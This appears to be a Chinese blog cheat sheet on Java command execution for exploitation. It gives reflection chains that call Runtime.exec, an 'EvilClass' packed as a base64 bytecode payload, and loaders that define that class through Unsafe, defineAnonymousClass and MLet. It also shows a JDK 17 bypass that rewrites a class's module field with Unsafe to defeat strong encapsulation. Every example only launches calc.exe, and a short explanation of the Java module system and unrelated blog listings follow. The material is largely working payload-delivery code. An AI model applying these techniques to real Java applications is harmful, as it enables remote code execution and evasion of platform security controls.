命令注入（java速查）

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命令注入

方法适用场景是否推荐
Runtime.exec()简单命令（已过时）❌ 不推荐
ProcessBuilder复杂命令（推荐）✅ 推荐
Apache Commons Exec需要高级控制（超时、流处理）⭐⭐⭐⭐
ScriptEngine执行脚本（Bash/Python）⭐⭐⭐
JNI/JNA调用本地代码⭐⭐
GraalVM跨语言执行命令⭐⭐⭐
ProcessHandle进程管理（Java 9+）⭐⭐
JSch远程 SSH 执行⭐⭐⭐⭐
Docker Java API容器内命令执行⭐⭐⭐

反射机制

Class.forName("java.lang.Runtime")
                .getMethod("getRuntime")
                .invoke(null)
                .getClass()
                .getMethod("exec", String.class)
                .invoke(Class.forName("java.lang.Runtime")
                        .getMethod("getRuntime")
                        .invoke(null), "calc.exe");

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
        Method getRuntime = runtimeClass.getMethod("getRuntime");
        Object runtime = getRuntime.invoke(null);
        Method exec = runtimeClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(runtime, "calc.exe");

Class.forName("java.lang.ProcessBuilder")
                .getConstructor(String[].class)
                .newInstance((Object)cmd)
                .getClass()
                .getMethod("start")
                .invoke(Class.forName("java.lang.ProcessBuilder")
                        .getConstructor(String[].class)
                        .newInstance((Object)new String[]{"calc.exe"}));

以上方式都是通过反射机制直接取危险类并调用，ClassLoader也是类似的，只不过是多了一道将字节码转换为类的机制。

ClassLoader

在JDK9至JDK16版本之中，Java.*依赖包下所有的非公共字段和方法在进行反射调用的时候，会出现关于非法反射访问的警告，但是在JDK17之后，采用的是强封装，默认情况下不再允许这一类的反射，所有反射访问java.*的非公共字段和方法的代码将抛出InaccessibleObjectException异常

利用ClassLoader来执行命令的具体步骤如下：

（1）构造恶意类

（2）生成字节码payload

（3）通过ClassLoader解析payload从而得到恶意类

（4）在实例化恶意类或调用恶意类方法来执行命令

构造恶意类
package org.example;

import java.io.IOException;

public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
生成字节码payload
public class Main {
    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, NoSuchFieldException, InstantiationException {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("EvilClass");

        cc.setSuperclass(pool.get("java.lang.Object"));

        // 2. 添加静态代码块（类初始化时执行）
//        CtMethod clinit = CtNewMethod.make(
        CtConstructor cons = CtNewConstructor.make(
                "public EvilClass() { " +
                        "    try { " +
                        "        Runtime.getRuntime().exec(\"calc.exe\"); " +
                        "    } catch (Exception e) { " +
                        "        throw new RuntimeException(e); " +
                        "    } " +
                        "}",
                cc
        );
        cc.addConstructor(cons);
//        cc.setModifiers(Modifier.PUBLIC);  // 设置类为public

        // 3. 生成字节码
        byte[] classBytes = cc.toBytecode();
        String base64Payload = Base64.getEncoder().encodeToString(classBytes);
        System.out.println(base64Payload);
        System.out.println();

        byte[] classBytes1 = Files.readAllBytes(Paths.get("C:\\code\\java\\demo_jdk8\\demo_jdk8\\target\\classes\\org\\example\\EvilClass.class"));
        String base64Payload1 = Base64.getEncoder().encodeToString(classBytes1);
        System.out.println(base64Payload1);
    }
}

以上展示了两种方式，第一种是直接通过源码设置类，第二种是加载恶意类的class文件，最后都会生成base64格式的字节码payload

执行命令

不同版本的jdk有不同的方式

java 1.8.0_202(jdk 8u202)

（1）unsafe方式（jdk17不可行）

public class UnsafeDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Field theUafeField= Unsafe.class.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class<?> c2=unsafe.defineClass("org.example.EvilClass",decode,0,decode.length,classLoader,null);
        c2.newInstance();
    }
}

注意defineClass时需要输入完整类名，使用第一种方式构造paylaod的改为EvilClass即可

（2）defineAnonymousClass方式（jdk17不可行）

public class UnsafeDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class<?> c2=unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
        c2.newInstance();
    }
}

（3）Method方式

public class UnsafeDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        Method method=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
        method.setAccessible(true);
        Class cc=(Class) method.invoke(new MLet(new URL[0],Main.class.getClassLoader()), decode,new Integer(0),new Integer(decode.length));
        cc.newInstance();
    }
}
java 17.0.10

通过修改当前类的module为java.base保持和java.lang.ClassLoader同module下，从而完成绕过：

public class ReflectDemo {
    public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
        String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
        byte[] decode = Base64.getDecoder().decode(payload);
        Field field= Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe=(Unsafe) field.get(null);
        Module baseModule=Object.class.getModule();
        Class currentClass= ReflectDemo.class;
        long offset= unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        Method method=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
        method.setAccessible(true);
        ((Class)method.invoke(ClassLoader.getSystemClassLoader(), decode,0, decode.length)).newInstance();
    }
}

注意，使用unsafe修改Module修改的是当前ReflectDemo的Module，因此Class currentClass= ReflectDemo.class;并不是随便选个类就可以的

Runtime

Process process = Runtime.getRuntime().exec("cmd.exe /c calc");
int exitCode = process.waitFor();
System.out.println("退出码: " + exitCode);

ProcessBuilder

ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", "calc");
Process process = pb.start();
int exitCode = process.waitFor();

commandLine

<dependency>
			<groupId>org.apache.commons</groupId>
			<artifactId>commons-exec</artifactId>
			<version>1.3</version>
</dependency>

CommandLine cmd = new CommandLine("cmd.exe");
cmd.addArgument("/c");
cmd.addArgument("calc");
DefaultExecutor executor = new DefaultExecutor();
int exitCode = executor.execute(cmd);

ScriptEngine（java 15以下）

无需额外引入依赖

ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("var rt = Java.type('java.lang.Runtime');" +
                    "rt.getRuntime().exec('calc');");

GraalVME（java15及以上）

<dependency>
			<groupId>org.graalvm.js</groupId>
			<artifactId>js</artifactId>
			<version>24.1.1</version>
		</dependency>
		<dependency>
			<groupId>org.graalvm.js</groupId>
			<artifactId>js-scriptengine</artifactId>
			<version>24.1.1</version>
</dependency>

Context context = Context.newBuilder()
                .allowAllAccess(true)  // 允许访问所有 Java 类
                .build();
context.eval("js", "const Runtime = Java.type('java.lang.Runtime');");
        context.eval("js", "Runtime.getRuntime().exec('calc');");

java的一些概念

模块系统的访问限制（Java 9及以后版本）

module java.base does not "opens java.lang" to unnamed module 是 Java 9+ 模块系统（JPMS）的强封装性导致的典型错误。其核心原因是：未命名模块（Unnamed Module）尝试通过反射访问 java.base 模块中未开放的 java.lang 包

每个模块需声明其导出（exports）和开放（opens）的包：

module java.base {
    exports java.lang; // 默认导出，但未开放反射
}

意味着java.base模块不允许通过反射去访问java.lang包下面的类及成员

在 Java 9 之前，反射可无限制访问包内所有类及其成员（包括 private 类型），类信息并未真正隔离。模块系统（module-info.java）通过强封装实现以下改进：

  • 默认隐藏：模块内类默认对外不可见，仅显式导出的 public 类可被访问
  • 精准开放：通过 exports 指定对外暴露的包，opens 指令控制反射访问范围，避免过度暴露内部实现
  • 运行时限制：未开放包的反射访问会触发 IllegalAccessException，需通过 --add-opens 参数或模块声明开放权

exports 允许访问 public 成员，但无法访问 private 或 protected 成员，而opens允许反射访问所有成员，允许通过 setAccessible(true) 绕过访问控制

其他指令：

  • requires：requires 指令允许模块声明运行时或编译时需要依赖的其他模块，若未声明依赖，编译时报错 module not found，运行时抛出 ClassNotFoundException

  • provides：允许模块声明自己实现了某个服务接口，并指定具体的实现类。其他模块可通过 ServiceLoader 动态发现并加载这些实现，实现松耦合的插件化架构。

  • opens to：允许开发者精确指定哪些模块可以通过反射访问当前模块的特定包（包括私有成员），同时保持其他模块的访问限制，对于以下：

    opens <package-name> to <module1>, <module2>;

    代表module1、module2允许通过反射直接访问

@CallerSensitive

@CallerSensitive 标记的方法会 跳过当前栈帧，直接检查调用该方法的上层代码（真正的调用者）的权限，而不是方法内部的代码权限。

主要用于：

  • Class.forName()（类加载）
  • Method.invoke()（反射调用）
  • Unsafe 相关操作
  • ClassLoader.defineClass()（动态加载类）

Unsafe 修改类模块的原理

Java对象在内存中由对象头和实例数据区组成。Unsafe通过以下步骤定位字段：

  • 获取对象基地址：对象实例的起始内存地址。
  • 计算字段偏移量：使用objectFieldOffset()方法获取字段在对象实例数据区中的偏移量。
  • 直接内存操作：通过基地址+偏移量定位字段内存位置，直接读写数据

而且Java的private、protected等修饰符在Unsafe中被无视，可以通过偏移量直接读写内存，无需通过Java的getter/setter方法

Unsafe提供类加载相关的底层API：

  • 动态定义类：通过defineClass()方法直接加载字节码，绕过类加载器。
  • 修改类元数据：直接操作类对象的内存，改变类的结构或方法实现

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2509_93947362的博客
11-24 348
先聊聊容器安全这块硬骨头。另外，容器运行时也得盯紧，像Falco这种开源工具能实时监测异常操作，比如突然冒出的特权容器或者敏感目录访问，一有风吹草动就告警。云平台的原生安全工具也得用起来，比如AWS的Security Group和Azure的NSG，规则要最小权限原则，只开放必要端口。说实话，刚开始推行时总有人抱怨流程繁琐，等真防住几次零日漏洞攻击后，全员才意识到：云原生安全就是个持续博弈的过程，今天偷懒省一步，明天就可能全线崩盘。总之，云原生安全没有银弹，它得像编织渔网一样，把技术、流程、文化三层织密。
【2025-11-23】软件供应链安全日报：最新漏洞预警与投毒预警情报汇总
jenchoi413的博客
11-24 419
2025年11月23日共发布14条漏洞预警，包括11条CVE漏洞和3条供应链投毒预警。CVE漏洞涉及Ashraf Kabir旅行社系统（5.3-5.1中危）、D-Link路由器（7.4高危）和Campcodes管理系统（6.9中危），主要风险为SQL注入和缓冲区溢出。供应链投毒预警包括PyPI的nspacercesolve组件窃取敏感信息、NPM的ddos-hunter组件勒索行为以及session-keeper等组件内嵌后门，影响多个版本。建议用户及时排查相关组件，高危漏洞需优先修复。
【2025-11-19】软件供应链安全日报：最新漏洞预警与投毒预警情报汇总
jenchoi413的博客
11-21 562
2025年11月19日新增91条漏洞预警，其中商业软件漏洞63条，供应链投毒28条。重点漏洞包括：Eclipse Jersey竞争条件漏洞（9.4分高危），可能导致SSL配置失效；Fortinet系列产品多漏洞，其中FortiVoice存在SQL注入（8.8分高危），FortiWeb存在命令注入（7.2分高危）；Checkmk监控平台存在权限验证不足问题（5.3分中危）。建议优先修复Eclipse Jersey和Fortinet产品的高危漏洞，其他中低危漏洞可根据实际情况选择修复。
智能治理，安全升级——ANSNP中线电流综合治理方案
安科瑞袁媛的博客
11-25 379
随着电力电子类设备在社会中的使用范围越来越大，在各种工业，商业和民用应用领域中非线性负载的大量使用以及三相不平衡等问题的存在会导致中性线电流过大，容易引起中性线绝缘层老化起火从而引发火灾，存在较大的安全隐患。据2021年1-10月份全国火灾形势报告显示，在1-10月份火灾事故中，电气火灾占据了火灾总数的50.4%, 其中电气线路是电气火灾中最主要的起火源，所占的比例高达60%以上是防范的重点，其中由于中性线导致的起火数量占有不小比例，所以治理中性线电流过大问题是非常有必要的。
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